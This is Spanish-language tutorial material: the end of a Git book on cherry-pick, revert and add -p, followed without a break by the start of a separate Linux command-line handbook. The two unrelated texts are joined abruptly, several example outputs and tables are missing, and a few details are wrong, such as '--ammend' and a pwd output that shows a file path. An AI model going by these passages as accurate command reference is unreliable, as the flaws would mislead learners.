git checkout -b my_branch (or git switch -c my_branch)

Luego, haz cherry-pick al "Commit 5":

git cherry-pick <SHA_OF_COMMIT_5>

Considera el log (salida de git lol):

Parece que copiaste-pegaste a "Commit 5". Recuerda que inclusive tiene el mismo mensaje de confirmación, e introduce los mismos cambios, e inclusive apunta al mismo objeto árbol como el "Commit 5" original en este caso - todavía es un objeto de confirmación distinto, ya que fue creado con una marca de tiempo distinto.

Mirando a los cambios, usando git show HEAD:

Son los mismos como los de "Commit 5".

git revert

git revert es esencialmente la reversa de git cherry-pick, introducido en el capítulo 10. Este comando toma la confirmación con el que le estás proveyendo y calcula el diff desde su confirmación antecesora, así como git cherry-pick, pero esta vez, calcula los cambios de reversa. Eso es, si en la confirmación especificada agregaste una línea, la reversa eliminaría la línea, y vice versa.

git add -p

Poniendo en el área de preparación los cambios es una parte integral de introducir cambios a Git. A veces, deseas poner en el área de preparación todos los cambios juntos (con git add .), o tal vez poner en stage todos los cambios de un archivo específico (usando git add <file_path>). Aunque hay veces donde sería conveniente poner en stage solamente ciertas partes de los archivos modificados.

En el capítulo 6, introdujimos git add -p. Este comando te permite poner en stage ciertas partes de los archivos, al separarlos en pequeños trozos (p significa parche). Por ejemplo, digamos que tienes este archivo, my_file.py:

Luego modificas este archivo - al cambiar el texto dentro de function_1, y también agregando una nueva función, function_5:

Si usaste git add my_file.py a este punto, pondrías en el área de preparación ambos de estos cambios juntos. En caso de que quieras separarlos en confirmaciones distintas, podrías usar git add -p, el cual separa estos dos cambios y te pregunta sobre cada uno como un pedazo independiente:

Al tipear ?, puedes ver qué significan cada opción distinta:

En este caso, digamos que solamente queremos poner en el área de preparación el cambio introduciendo function_5. No queremos poner en el área de preparación el cambio de function_1, así que seleccionamos n:

Luego, nos aparece una ventana para el segundo cambio - el que introduce function_5. Queremos poner en el área de preparación este pedazo, así podemos tipear y.

Resumen

Bueno, ¡esto fue divertido!

¿Puedes creer cuánto has aprendido?

En la Parte 1 aprendiste sobre blobs, árboles y confirmaciones.

Luego aprendiste sobre las ramas, viendo que no son mas que una referencia nombrada a una confirmación.

Aprendiste el proceso de registrar cambios en Git, y que involucra el directorio de trabajo, el área de preparación (índice), y el repositorio.

Luego - creaste un nuevo repositorio desde cero, al usar echo y comandos de bajo nivel tales como git hash-object. Creaste un blob, un árbol, y un objeto de confirmación apuntando a ese árbol.

En la Parte 2 aprendiste sobre hacer ramas e integrar cambios en Git.

Aprendiste lo que es un diff, y la diferencia entre un diff y un parche. También aprendiste cómo se construye la salida de git diff.

Luego, tuviste un vistazo extensivo sobre fusionar con Git, específicamente entendiendo el algoritmo de fusión de tres vías. Entendiste cuándo los conflictos de fusión ocurren, cuándo Git los puede resolver automáticamente, y cómo los resuelve de forma manual cuando sea necesario.

Viste que git rebase es poderoso - pero también es bastante sencillo una vez que entiendes lo que hace. Entendiste las diferencias entre fusionar y hacer rebase, y cuando deberías usar cada uno.

En la Parte 3 aprendiste cómo deshacer cambios en Git - especialmente cuando las cosas van mal. Aprendiste cómo usar un par de herramientas, como git reset, git commit --ammend, git revert, git reflog (y git log -g).

La herramienta más importante, aún más importante que las herramientas que listé, es limpiar la situación actual vs el que se desea. Créeme en esta, hará que cada situación parezca menos intimidante y la solución más claro.

En la Parte 4 adquiriste herramientas poderosas adicionales, como diferentes conmutadores de git log, git bisect, git cherry-pick, git revert y git add -p.

Wow, ¡deberías sentirte orgulloso!

Un mensaje de mí para tí

En efecto, eso fue divertido, pero todas las cosas deben pasar. Terminaste de leer este libro, pero no significa que tu jornada de aprendizaje termina aquí.

Lo que has adquirido, más que cualquier herramienta específica, es intuición y entendimiento de cómo opera Git, y cómo pensar sobre varias operaciones en Git. Sigue investigando, leyendo, y usando Git. Estoy seguro que serás capaz de enseñarme algo nuevo, y por todos los medios - hazlo por favor.

Si te gustó este libro, por favor compártelo con más personas.

Si quieres leer más de mis artículos de Git y manuales, aquí están:

1. The Git Rebase Handbook
2. The Git Merge Handbook
3. The Git Diff and Patch Handbook
4. Git Internals - Objects, Branches, and How to Create a Repo
5. Git Reset Command Explained

Reconocimientos

Mucha gente ayudó en hacer este libro lo mejor que se podía. Entre ellos, fui afortunado de tener muchos lectores beta que me dieron comentarios así podía mejorar el libro. Específicamente, me gustaría agradecer a Jason S. Shapiro, Anna Łapińska, C. Bruce Hilbert, y Jonathon McKitrick por sus revisiones exhaustivas.

Abbey Rennemeyer ha sido una editor maravillosa. Después que ha revisado mis publicaciones para freeCodeCamp por tres años, fue claro que le pidiera que fuera el editor de este libro también. Ella me ayudó en mejorar el libro de muchas formas, y estoy agradecido por su ayuda.

Quincy Larson fundó la maravillosa comunidad en freeCodeCamp, me motivó por medio de emails y discusiones de cara a cara. Le agradezco por generar esta increíble comunidad, y por su amistad.

Estefania Cassingena Navone diseñó la portada de este libro. Estoy agradecido por su trabajo profesional y su paciencia con mis pedidos y perfeccionismo.

El sitio web de Daphne Gray-Grant, "Publication Coach", me dio inspiración así también como consejos técnicos que me ayudó mucho con mi proceso de escritura.

Si deseas apoyar este libro

Si te gustaría apoyar este libro, puedes comprar la versión en papel, un versión E-Book (libro electrónico), o comprarme un café. ¡Gracias!

Contáctame

Este libro ha sido creado para ayudarte y gente como tú aprenda, entienda Git, y aplique sus conocimientos en la vida real.

Bien al principio, pedí comentarios y fui afortunado de recibirlo de gente estupenda (mencionado en los Reconocimientos) para asegurar que el libro alcanzara estos objetivos. Si te gustó algo de este libro, sentiste que algo estaba faltando o necesitaba mejorar - me encantaría que me lo dijeras. Por favor háblame en: gitting.things@gmail.com.

Gracias por aprender y permitirme ser parte de tu jornada.

- Omer Rosenbaum

Apéndices

Referencias Adicionales - Por Parte

(Nota - esta es una lista corta. Puedes encontrar una lista más larga de referencias en la versión E-Book o la impresa.)

Parte 1

• Lista de reproducción de Youtube sobre los Componentes Internos de Git - por Brief:
  https://www.youtube.com/playlist?list=PL9lx0DXCC4BNUby5H58y6s2TQVLadV8v7
• Conferencia de Tim Berglund - "Git From the Bits Up":
  https://www.youtube.com/watch?v=MYP56QJpDr4
• como prometí, la documentación: Git for the confused:
  https://www.gelato.unsw.edu.au/archives/git/0512/13748.html

Parte 2

Diffs y Parches

Algoritmos de Diffs de Git:

• https://es.wikipedia.org/wiki/Diff

El algoritmo de diff más predeterminado en Git es Myers:

• https://www.nathaniel.ai/myers-diff/
• https://blog.jcoglan.com/2017/02/12/the-myers-diff-algorithm-part-1/
• https://blog.robertelder.org/diff-algorithm/

Git Merge

• https://git-scm.com/book/es/v2/Herramientas-de-Git-Fusión-Avanzada
• https://blog.plasticscm.com/2010/11/live-to-merge-merge-to-live.html

Git Rebase

• https://jwiegley.github.io/git-from-the-bottom-up/1-Repository/7-branching-and-the-power-of-rebase.html
• https://git-scm.com/book/es/v2/Ramificaciones-en-Git-Reorganizar-el-Trabajo-Realizado

Recursos relacionados a los Beatles

• https://www.the-paulmccartney-project.com/song/ive-got-a-feeling/
• https://www.cheatsheet.com/entertainment/did-john-lennon-or-paul-mccartney-write-the-classic-a-day-in-the-life.html/
• http://lifeofthebeatles.blogspot.com/2009/06/ive-got-feeling-lyrics.html

Part 3

• https://git-scm.com/book/es/v2/Herramientas-de-Git-Reiniciar-Desmitificado
• https://www.edureka.co/blog/common-git-mistakes/

Mientras que te fortalece en tu rol actual, aprender Linux también te puede ayudar en transicionar a otras carreras tech como DevOps, Ciberseguridad, y Computación en la Nube.

En este manual, aprenderás las bases de la línea de comandos de Linux, y luego transitaremos a temas más avanzados como programación de scripts y administración de sistema. Sea que eres nuevo en Linux o que ya has estado usándolo por años, este libro tiene algo para ti.

Nota Importante: Todos los ejemplos en este libro son mostrados en Ubuntu 22.04.2 LTS (Jammy Jellyfish). La mayoría de las herramientas de línea de comandos son más o menos los mismos en otras distribuciones. Sin embargo, algunas aplicaciones de escritorio (GUI) y comandos podrían diferir si estás trabajando en otra distribución de Linux.

Tabla de Contenidos

Parte 1: Introducción a Linux

• 1.1. Comenzando con Linux

Parte 2: Introducción al Shell de Bash y los Comandos de Sistema

• 2.1. Comenzando con el shell de Bash
• 2.2. La Estructura de Command
• 2.3. Comandos de Bash y Atajos de Teclado
• 2.4. Identificándote: El Comando whoami

Parte 3: Entendiendo tu Sistema de Linux

• 3.1. Descubriendo tu SO y Especificaciones

Parte 4: Manejando Archivos desde la Línea de Comando

• 4.1. La Jerarquía del Sistema de Archivos de Linux
• 4.2. Navegando a través del Sistema de Archivos de Linux
• 4.3. Manejando Archivos y Directorios
• 4.4 Localizando archivos y carpetas usando el comando find
• 4.5. Comandos Básicos para ver Archivos

Parte 5: Lo Esencial sobre Edición de Texto en Linux

• 5.1. Dominando Vim: La Guía Completa
• 5.2. Dominando Nano

Parte 6: La Programación en Bash

• 6.1. Definición de los scripts de Bash
• 6.2. Ventajas de los scripts de Bash
• 6.3. Vista General del Shell Bash y de la Interfaz de Línea de Comandos
• 6.4. Cómo crear y ejecutar scripts de Bash
• 6.5. Lo Básico de la Programación en Bash

Parte 7: Manejando Paquetes de Software en Linux

• 7.1. Paquetes y Gestión de Paquetes
• 7.2. Instalando un Paquete a través de la Línea de Comando
• 7.3. Instalando un Paquete a través de un Método Gráfico Avanzado – Synaptic
• 7.4. Instalando Paquetes Descargados desde un sitio web

Parte 8: Temas de Linux Avanazados

• 8.1. Gestión del Usuario
• 8.2 Conectándose a Servidores Remotos a través de SSH
• 8.3. Análisis Sintáctico y Análisis de Archivos Log Avanzados
• 8.4. Manejando los Procesos de Linux a través de la Línea de Comandos
• 8.5. Flujos de Entrada y Salida Estándar en Linux
• 8.6 Automatización en Linux – Automatizar Tareas con Tareas de Cron
• 8.7. Conceptos Básicos de Redes de Linux
• 8.8. Solución de problemas de Linux: Herramientas y Técnicas
• 8.9. Estrategia de Solución de Problemas General para los Servidores

Conclusión

Parte 1: Introducción a Linux

1.1. Comenzando con Linux

¿Qué es Linux?

Linux es un Sistema Operativo de código abierto que está basado en el Sistema Operativo Unix. Fue creado por Linus Torvalds in 1991.

El Código Abierto significa que el código fuente del Sistema Operativo está disponible al público. Este le permite a cualquiera modificar el código origina, personalizarlo, y distribuir el Sistema Operativo a usuarios potenciales.

¿Por qué deberías aprender sobre Linux?

En el escenario de los centros de datos de hoy, Linux y Microsoft Windows se destacan como los contendientes, con Linux teniendo la mayor parte.

Aquí hay varias razones convincentes para aprender Linux:

• Dada la prevalencia del alojamiento de Linux, hay una alta chance que tu aplicación será alojado en Linux. Así que aprender Linux como un desarrollador se convierte cada vez más valorado.
• Con la computación en la nube se convierte en la norma, las chances son altas que tus instancias de la nube se basará en Linux.
• Los servidores de Linux como la fundación para muchos Sistemas Operativos para el Internet de las Cosas (IoT) y aplicaciones móviles.
• En IT, hay muchas oportunidades para aquellos hábiles en Linux.

¿Qué significa que Linux es un Sistema Operativo de código abierto?

Primero, ¿qué es código abierto? Software de código abierto cuyo código fuente es accesible gratuitamente, permitiendo a cualquier utilizar, modificar y distribuirlo.

Cuando sea que el código fuente fuese creado, se considera automáticamente protegido por derechos de autor, y su distribución se rige por el titular de los derechos de autor a través de licencias de software.

En contraste al código abierto, el software propietario o de código cerrado restringe el acceso a su código fuente. Solamente los creadores pueden verlos, modificarlos o distribuirlos.

Linux es ante todo de código abierto, lo que significa que su código fuente está disponible de forma gratuita. Cualquiera puede verlo, modificarlo, y distribuirlo. Los Desarrolladores desde cualquier lugar en el mundo pueden contribuir a sus mejoras. Esto sienta la fundación de la colaboración lo cual es un aspecto importante del software de código abierto.

Esto enfoque colaborativo ha llevado a la amplia adopción de Linux entre los servidores, computadoras de escritorio, sistemas embebidos, y dispositivos móviles.

El aspecto más interesante de Linux siendo de código abierto es que cualquier puede adaptar el sistema operativo a sus necesidades específicas sin ser restringido por las limitaciones de propiedad.

El SO (Sistema Operativo) Chrome utilizado por los Chromebooks está basado en Linux. Android, que impulsa a muchos teléfonos inteligentes, también está basado en Linux.

¿Qué es un Kernel de Linux?

El kernel es el componente central de un Sistema Operativo que gestiona la computadora y sus operaciones hardware. Maneja operaciones de memoria y el tiempo de CPU.

El kernel actúa como un puente entre aplicaciones y el proceso de datos a nivel de hardware usando la comunicación entre procesos y llamadas de sistema.

El kernel se carga en memoria primero cuando un Sistema Operativo comienza y permanece allí hasta que el sistema se apaga. Es responsable de tareas como la gestión de disco, gestión de tareas, y gestión de memoria.

Si estás interesado en saber cómo se ve el kernel de Linux, aquí está el enlace de Github.

¿Que es una distribución de Linux?

A este punto, sabes que puedes re-usar el código kernel de Linux, modificarlo, y crear un nuevo kernel. Puedes aún combinar diferentes utilidades y software para crear un Sistema Operativo completamente nuevo.

Una distribución de Linux o distro es una versión del Sistema Operativo Linux que incluye el kernel de Linux, utilidades de sistema, y otros software. Siendo de código abierto, una distribución de Linux es un esfuerzo colaborativo que involucra múltiples comunidades de desarrollo de código abierto independientes.¿Qué significa que una distribución sea derivado? Cuando dices que una distribución es "derivado" de otro, el nuevo distro está construido sobre la base o fundación del distro original. Esta derivación puede incluir el usar el sistema de gestión de paquetes (más sobre esto después), versión del kernel, y a veces las mismas herramientas de configuración.

Hoy, hay miles distribuciones de Linux para elegir, ofreciendo diferentes objetivos y criterios para seleccionar y soportar el software provisto por su distribución.

Las distribuciones varían uno del otro, pero generalmente tienen características en común.

• Una distribución consiste de un kernel de Linux.
• Soporta programas de espacio de usuario.
• Una distribución podría ser pequeño y de un solo propósito o incluir miles de programas de código abierto.
• Algunos medios para instalar y actualizar la distribución y sus componentes debería ser provistos.

Si ves la Línea de Tiempo de las Distribuciones de Linux, verás dos mayores distros: Slackware y Debian. Varias distribuciones son derivados de ellos. Por ejemplo, Ubuntu y Kali son derivados de Debian.

¿Cuáles son las ventajas de la derivación? Hay varias ventajas de la derivación. La Distribuciones derivadas pueden aprovechar la estabilidad, seguridad, y grandes repositorios de software de la distribución padre.

Cuando se construye sobre una fundación existente, los desarrolladores pueden conducir su enfoque y esfuerzo enteramente en las características especializadas de la nueva distribución. Los usuarios de distribuciones derivadas se pueden beneficiar de la documentación, el soporte de comunidad, y recursos ya disponibles para la distribución padre.

Algunas distribuciones de Linux populares son:

1. Ubuntu: Uno de las distribuciones de Linux más usado y más popular. Es amigable y recomendado para los principiantes. Aprender más sobre Ubuntu aquí.
2. Linux Mint: Basado en Ubuntu, Linux Mint provee una experiencia amigable con un enfoque en soporte de multimedia. Aprender más sobre Linux Mint aquí.
3. Arch Linux: Popular entre usuarios experimentados, Arch es una distribución ligera y flexible dirigido a usuarios que prefieren un enfoque DIY. Aprender más sobre Arch Linux aquí.
4. Manjaro: Basado en Arch Linux, Manjaro provee una experiencia amigable con software pre-instalado y herramientas sencillas de gestión del sistema. Aprender más sobre Manjaro aquí.
5. Kali Linux: Kali Linux provee un conjunto comprensivo de herramientas de seguridad y está mayormente enfocado en ciberseguridad y hacking. Aprender más sobre Kali Linux aquí.

Cómo instalar y acceder a Linux

La mejor manera de aprender es aplicar los conceptos a medidas que avanzas. En esta sección, aprenderemos cómo instalar Linux en tu máquina así puedes seguirme. También aprenderás cómo acceder a Linux en una máquina con Windows.

Te recomiendo que sigas cualquiera de los métodos mencionados en esta sección para tener acceso a Linux así puedes seguirme.

Instalar Linux como el SO primario

Instalar Linux como el SO primario es la forma más eficiente de usar Linux, ya que puedes usar todo el poder de tu máquina.

En esta sección, aprenderás cómo instalar Ubuntu, el cual es uno de las distribuciones de Linux más popular. Dejé fuera de lista otras distribuciones por ahora, ya que quiero mantener las cosas sencillas. Siempre puedes explorar otras distribuciones una vez que te sientas cómodo con Ubuntu.

Paso 1 – Descargar el iso de Ubuntu: Ve al sitio web oficial y descarga el archivo iso. Asegúrate en seleccionar un lanzamiento estable que está caracterizado como "LTS". LTS significa "Soporte de Largo Término" (Long Term Support en inglés) lo que significa que puedes obtener seguridad gratuita y actualizaciones de mantenimiento por un tiempo prolongado (usualmente 5 años).

Paso 2 – Crea un pendrive bootable: Hay un número de softwares que puede crear un pendrive booteable. Recomiendo usar Rufus, ya que es bastante fácil de usar. Puedes descargarlo aquí.

Paso 3 – Iniciar desde el pendrive: Una vez que tu pendrive bootable está listo, insértalo y inicia desde el pendrive. El menú del boot depende de tu laptop. Puedes buscar en google el menú de boot para tu modelo de laptop.

Paso 4 – Sigue los pasos. Una vez, que el proceso de boot comience, selecciona try or install ubuntu.

El proceso tomará algo de tiempo. Una vez que el GUI aparece, puedes seleccionar el idioma, y el teclado, y continuar. Ingresa al inicio de sesión con tu nombre. Recuerda las credenciales ya que los necesitarás para inciar sesión en tu sistema y acceder a privilegios totales. Espera que la instalación se complete.

Paso 5 – Reinicia: Haz clic en reiniciar ahora y retira el pen drive.

Paso 6 – Inicia sesión: Inicia sesión con las credenciales que ingresaste anterioremente.

¡Y ahí está! Ahora puedes instalar aplicaciones y personalizar tu escritorio.

Para una instalación avanzada, puedes explorar los siguientes temas:

• Particionamiento de Disco.
• Configurar la memoria de intercambio para permitir la hibernación.

Accediendo a la terminal

Una parte importante de este manual es aprender sobre la terminal donde ejecutarás todos los comandos y ver toda la magia. Puedes buscar en la terminal presionando la tecla "window" y escribiendo "terminal". Puedes fijar la Terminal en el dock donde otras aplicaciones están localizadas para un fácil acceso.

💡 The shortcut for opening the terminal is ctrl+alt+t

También puedes abrir la terminal desde una carpeta. Haz clic derecho donde estás y haz clic en "Abrir en Terminal". Esto abrirá la terminal en la misma ruta.

Cómo usar Linux en una máquina Windows

A veces prodrías necesitar ejecutar tanto Linux como Windows lado a lado. Afortunadamente, hay varias maneras que puedes aprovechar de ambos mundos sin tener distintas computadoras para cada sistema operativo.

En esta sección, explorarás una pocas formas de usar Linux en una máquina de Linux. Algunos de ellos basados al navegador o basados en la nube y no necesita ninguna instalación de SO antes de usarlos.

Opción 1: "Dual-boot" Linux + Windows: Con dual boot, puedes instalar Linux juntamente con Windows en tu computadora, permitiéndote elegir qué Sistema Operativo usar al inicio.

Esto requierer particionar tu disco duro e instalar Linux en una partición separada. Con este enfoque, solamente puedes usar un sistema Operativo a la vez.

Opción 2: USar el Subsitema de Windows  para Linux  (WSL): El Subsistema para Linux provee una capa de comtabilidad que te permite ejecutar ejecutables binarios de Linux de forma nativa en WIndows.

Usando WSL tiene algunas ventajas. La configuración para WSL es sencilla y rápida. Es liviana comparado con los VMs donde tiene que aisgnar recursos desde la máquina anfitriona. No necesitas instalar ningún ISO o imagen de disco virtual para las máquinas Linux los cuales tienden a ser archivos pesados. Puedes usar Windows y Linux lado a lado.

Cómo instalar WSL2

Primero, activa el Subsitema de Windows para la opción Linux en las configuraciones.

Ve al inicio. Busca "Turn Windows features on or off".

Verifica la opción "Windows Subsystem for Linux" si ya no está.

Luego, abre tu línea de comandos y provee los comandos de instalación.

Abre la terminal como un administrador:

Ejecuta el comando de abajo:

wsl --install

Esta es la salida:

Nota: Por defecto, Ubuntu será instalado.

• Una vez que la instalación está completa, necesitarás reiniciar tu máquina WIndows. Así que, reinicia tu máquina con Windows.

Después de reiniciar, verías una ventana así:

Una vez que la instalación de Ubuntu está completa, se te pedirá que ingreses tu nombre de usuario y la constraseña.

Y, ¡y eso es todo! Estás listo ya para usar Ubuntu.

Lanza Ubuntu buscando desde el menú de inicio.

Y aquí tenemos tu instancia de Ubuntu lanzada.

Opción 3: Usa a Máquina Virtual (VM)

Una máquina virtual (VM) es una emulación de software de un sistema de computación de Física. Te permite ejeuctar múltiples Sistemas Operativos y aplicaciones en una sola máquina física simultáneamente.

Puedes usar la Virtualización de Software tales como VirtualBox de Oracle o VMware para crear una máquina virtual que ejecuta Linux dentro de tu entorno de Windows. Esto te permite ejecutar Linux como un SIstema Operativo invitado junto a Windows.

El software VM provee opciones para asignar y gestionar los recursos hardware para cada VM, incluyendo núcles de CPU, memoria, espacio de disco, y ancho de banda de red. Puedes ajustar estas asignaciones basado en los requerimientos de los Sistemas Operativos invitados y las aplicaciones.

Aquí hay algunas de las opciones comúnes disponibles para la Virtualización:

• Oracle virtual box
• Multipass
• VMware workstation player

Opción 4: Usa una Solución basado en el Navegador

Las soluciones basados en el Navegador son particularmente útiles para pruebas rápidas, aprender, o acceder a entornos de Linux desde dispositivos que no tienen Linux instalado.

Puedes usar los editores de código en líne o terminales basadas en web para acceder a Linux. Fíjate que usualmente no tienes privilegios de administrador en estos casos.

Editores de Código en línea

Los Editores de Código en línea con terminales de Linux incorporadas. Mientras que su propósito primario es codificar, también puedes utilizar la terminal de Linux para ejecutar comandos y realizar tareas.

Replit es un ejemplo de un editor de código en línea, donde puedes escribir tu código y acceder a la shell de Linux al mismo tiempo.

Terminales de Linux basados en Web

Las terminales de Linux en línea te permiten acceder a una interfaz de línea de comandos desde tu navegador. Estas terminalesproveen una interfaz basada en web a un shell de Linux, permitiéndote ejecutar comandos y trabajar con utilidades de Linux.

Un ejemploes JSLinux. La captura de abajo muestra un entorno de Linux listo para ser usado:

Opción 5: Usa una Solución basada en la Nube

En vez de ejecutar Linux directamente en tu máquina de Windows, puedes considerar usar entornos de Linux basados en la nube o Servidores Privados Virtuales (VPS), para acceder y trabajar con Linux remotamente.

Servicios como Amazon EC2, Microsoft Azure, o DigitalOcean proveen instancias de Linux a las que te puedes conectar desde tu computadora de Windows. Fíjate que algunos de estos servicios ofrecen planes gratuitos, pero no son usualmente gratis a la larga.

Parte 2: Introducción al Shell de Bash y Comandos de Sistema

2.1. Comenzando con el shell de Bash

Introducción al shell de bash

La línea de comandos de Linux es provisto por un programa llamado el shell. A través de los años, el programa shell ha evolucinado para atender varias opciones.

Distintos usuarios pueden ser configurados para usar distintos shells. Pero, la mayoría de los usuarios prefieren quedarse con su shell predeterminado actual. El shell predeterminado para muchos distros de Linux es el Bourne-Again Shell de GNU (bash). Bash es sucedido por el shell Bourne (sh).

Para saber tu shell actual, abre tu terminal e ingresa el siguiente comando:

echo $SHELL

Desglose del comando:

• El comando echo se usa para imprimir en la terminal.
• El $SHELL es una variable especial que contiene el nombre del shell actual.

En mi configuración, la salida es /bin/bash. Esto significa que estoy usando el shell bash.

# output
echo $SHELL
/bin/bash

Bash es muy poderoso ya que puede simplificar ciertas operaciones que son difíciles de lograr eficientemente con un GUI (o Interfaz de Usuario Gráfico). Recuerda que la mayoría de los servidores no tienen un GUI, y es mejor aprender a usar los poderosos de una interfza de línea de comandos (CLI).

Terminal vs Shell

Los términos "terminal" y "shell" son frecuentemente usado de forma intercambiable, pero se refieren a distitnas partes de la interfaz de línea de comandos.

La terminal es la interfaz que usas para interactuar con el shell. El shell es el intérprete de comandos que procesa y ejecuta tus comandos. Aprenderás más sobre los shells en la Parte 6 del manual.

¿Qué es un prompt?

Cuando un shell se usa interactivamente, muestra un $ cuando espera un comando del usuario. Este es el prompt del shell.

[username@host ~]$

Si el shell se está ejecutando como root (aprenderás más sobre el usuario root luego), el prompt se cambia a #.

[root@host ~]#

2.2. Estructura del Comando

Un comando es un programa que ejecuta una operación específica. Una vez que tienes acceso a la shell, puedes ingresar cualquier comando después del signo $ y ves la salida en la terminal.

Generalmente, los comandos de Linux sigue esta sintaxis:

command [options] [arguments]

Aquí está el desglose de la sintaxis de arriba:

• command: Este es el nombre del comando que quieres ejecutar. ls (list - listar), cp (copy - copiar), y rm (remove - borrar) son comandos comúnes de Linux.
• [options]: Opciones, o flags, son precedidos frecuentemente por un guión (-) o doble guiones (--), modifican el comportamiento del comando. Pueden cambiar cómo opera el comando. Por ejemplo, ls -a usa la opción -a para mostrar los archivos ocultos en la carpeta actual.
• [arguments]: Los argumentos son las entradas para los comandos que uno requiere. Estos pueden ser nombres de archivos, nombres de usuario, u otros datos sobre los cuales el comando actuará. Por ejemplo, en el comando cat access.log, cat es el comando y access.log es la entrada. Como resultado, el comando cat muestra los contenidos del archivo access.log.

Las opciones y argumentos no son requeridos por todos los comandos. Algunos comandos pueden ser ejecutados sin ninguna opción o argumento, mientras que otros podrían requerir uno o ambos para que funcionen correctamente. Siempre puedes referirte al manual del comando para ver las opciones y los argumentos que soporta.

💡Consejo: Puedes ver el manual de un comando usando el comando man.

Puedes acceder a la página manual para ls con man ls, y te mostrará algo así:

Las páginas manuales son una forma genial y rápida para acceder a la documentación. Recomiendo leer las páginas de man para los comandos que mas usas.

2.3. Comandos de Bash y Atajos de Teclado

Cuando estás en la terminal, puedes acelerar tus tareas usando atajos.

Aquí hay algunos de los atajos más comunes de la terminal:

2.4. Identificándote: El comando whoami

Puedes obtener el nombre de usuario con el que iniciaste sesión con el comando whoami. Este comando es útil cuando cambias entre distintos usuarios y quieres confirmar el usuario actual.

Justo después del signo $, escribe whoami y presiona enter.

whoami

Esta es la salida que obtuve.

zaira@zaira-ThinkPad:~$ whoami
zaira

Parte 3: Entendiendo tu Sistema de Linux

3.1. Descubriendo tu SO y Especificaciones

Imprimir información del sistema usando el comando uname

Puedes obtener información del sistema de forma detallada del comando uname.

Cuando provees la opción -a, imprime toda la información del sistema.

uname -a
# salida
Linux zaira 6.5.0-21-generic #21~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb  9 13:32:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

En la salida de arriba,

• Linux: Indica el sistema operativo.
• zaira: Representa el nombre del host de la máquina.
• 6.5.0-21-generic #21~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 9 13:32:52 UTC 2: Provee información sobre la versión del kernel, fecha de la construcción, y algunos detalles adicionales.
• x86_64 x86_64 x86_64: Indica la arquitectura del sistema.
• GNU/Linux: Representa el tipo de sistema operativo.

Encontrar detalles de la arquitectura de la CPU usando el comando lscpu

El comando lscpu en Linux se usa para mostrar información sobre la arquitectura de la CPU. Cuando ejecutas lscpu en la terminal, provee detalles tales como:

• La arquitectura de la CPU (por ejemplo, x86_64)
• op-mode(s) de la CPU (por ejemplo, 32-bit, 64-bit)
• Orden de Byte (por ejemplo, Little Endian)
• CPU(s) (número de CPUs), y así sucesivamente

Intentémoslo:

lscpu
# salida
Architecture:            x86_64
  CPU op-mode(s):        32-bit, 64-bit
  Address sizes:         48 bits physical, 48 bits virtual
  Byte Order:            Little Endian
CPU(s):                  12
  On-line CPU(s) list:   0-11
Vendor ID:               AuthenticAMD
  Model name:            AMD Ryzen 5 5500U with Radeon Graphics
    Thread(s) per core:  2
    Core(s) per socket:  6
    Socket(s):           1
    Stepping:            1
    CPU max MHz:         4056.0000
    CPU min MHz:         400.0000

Eso fue mucha información, ¡pero útil también! Recuerda que siempre puedes ir viendo información relevante usando argumentos específicos. Ve el manual del comando con man lscpu.

Parte 4: Manejando archivos desde la Línea de Comandos

4.1. La Jerarquía del sistema de archivos de Linux

Todos los archivos en Linux son almacenados en un sistema de archivos. Sigue una estructura tipo árbol invertido porque la raíz está en la parte superior.

El  / es la carpeta raíz y el punto de comienzo del sistema de archivos. La carpeta raíz contiene todas las otras carpetas y archivos en el sistema. El caracter / también sirve como una carpeta separadora entre los nombres de rutas. Por ejemplo, /home/alice forma una ruta completa.

La imagen de abajo muestra la jerarquía completa del sistema de archivos. Cada carpeta sirve un propósito específico.

Fíjate que esta no es una lista exhaustiva y distintas distribuciones podría tener distintas configuraciones.

Aquí hay una tabla que muestra el propósito de cada carpeta:

💡 Consejo: Puedes aprender más sobre el sistema de archivos usando el comando man hier.

Puedes ver tu sistema de archivos usando el comando tree -d -L 1. Puedes modificar el argumento -L para cambiar la profundidad del árbol.

tree -d -L 1
# salida
.
├── bin -> usr/bin
├── boot
├── cdrom
├── data
├── dev
├── etc
├── home
├── lib -> usr/lib
├── lib32 -> usr/lib32
├── lib64 -> usr/lib64
├── libx32 -> usr/libx32
├── lost+found
├── media
├── mnt
├── opt
├── proc
├── root
├── run
├── sbin -> usr/sbin
├── snap
├── srv
├── sys
├── tmp
├── usr
└── var

25 carpetas

Esta lista no es exhaustiva y distintas distribuciones y sistemas podrían ser configurados de forma distinta.

4.2. Navegando el sistema de archivos de Linux

Ruta absoluta vs ruta relativa

La ruta absoluta es la ruta completa de la carpeta raíz al archivo o a la carpeta. Siempre comienza con un /. Por ejemplo, /home/john/documents.

La ruta relativa, por otro lado, es la ruta desde la carpeta actual al archivo de destino o a la carpeta. No comienza con un /. Por ejemplo, documents/work/project.

Localizando tu carpeta actual usando el comando pwd

Es fácil perder tu camino en el sistema de archivos de Linux, especialmente si eres nuevo en la línea de comandos. Puedes localizar tu carpeta actual usando el comando pwd.

Aquí hay un ejemplo:

pwd
# output
/home/zaira/scripts/python/free-mem.py

Cambiando carpetas usando el comando cd

El comando para cambiar carpetas es cd y significa "cambiar carpeta - change directory en inglés". Puedes usar el comando cd para navegar hacia otra carpeta diferente.

Puedes usar una ruta relativa o una ruta absoluta.

Por ejemplo, si quieres navegar la estructura de archivos de abajo (siguiendo las líneas rojas):

y estás en "home", el comando sería así:

cd home/bob/documents/work/project

Otros atajos de cd usado comúnmente son:

4.3. Manejando archivos y carpetas

Cuando se trabaja con archivos y carpetas, podrías querer copiar, mover, quitar, y crear archivos y carpetas nuevas. Aquí hay algunos comandos que te pueden ayudar con eso.

💡Consejo: Puedes diferenciar entre un archivo y una carpeta mirando la primera letra en la salida de ls -l. Un '-' representa un archivo y un 'd' representa una carpeta.

Creando nuevas carpetas usando el comando mkdir

Puedes crear una carpeta vacía usando el comando mkdir.

# creates an empty directory named "foo" in the current folder
mkdir foo

También puedes crear carpetas recursivamente usando la opción -p.

mkdir -p tools/index/helper-scripts
# output of tree
.
└── tools
    └── index
        └── helper-scripts

3 directories, 0 files

Creando nuevos archivos usando el comando touch

El comando touch crea un archivo vacío. Puedes usarlo así:

# creates empty file "file.txt" in the current folder
touch file.txt

Los nombres del archivo pueden ser encadenados si quieres crear múltiples archivos en un solo comando.

# creates empty files "file1.txt", "file2.txt", and "file3.txt" in the current folder

touch file1.txt file2.txt file3.txt

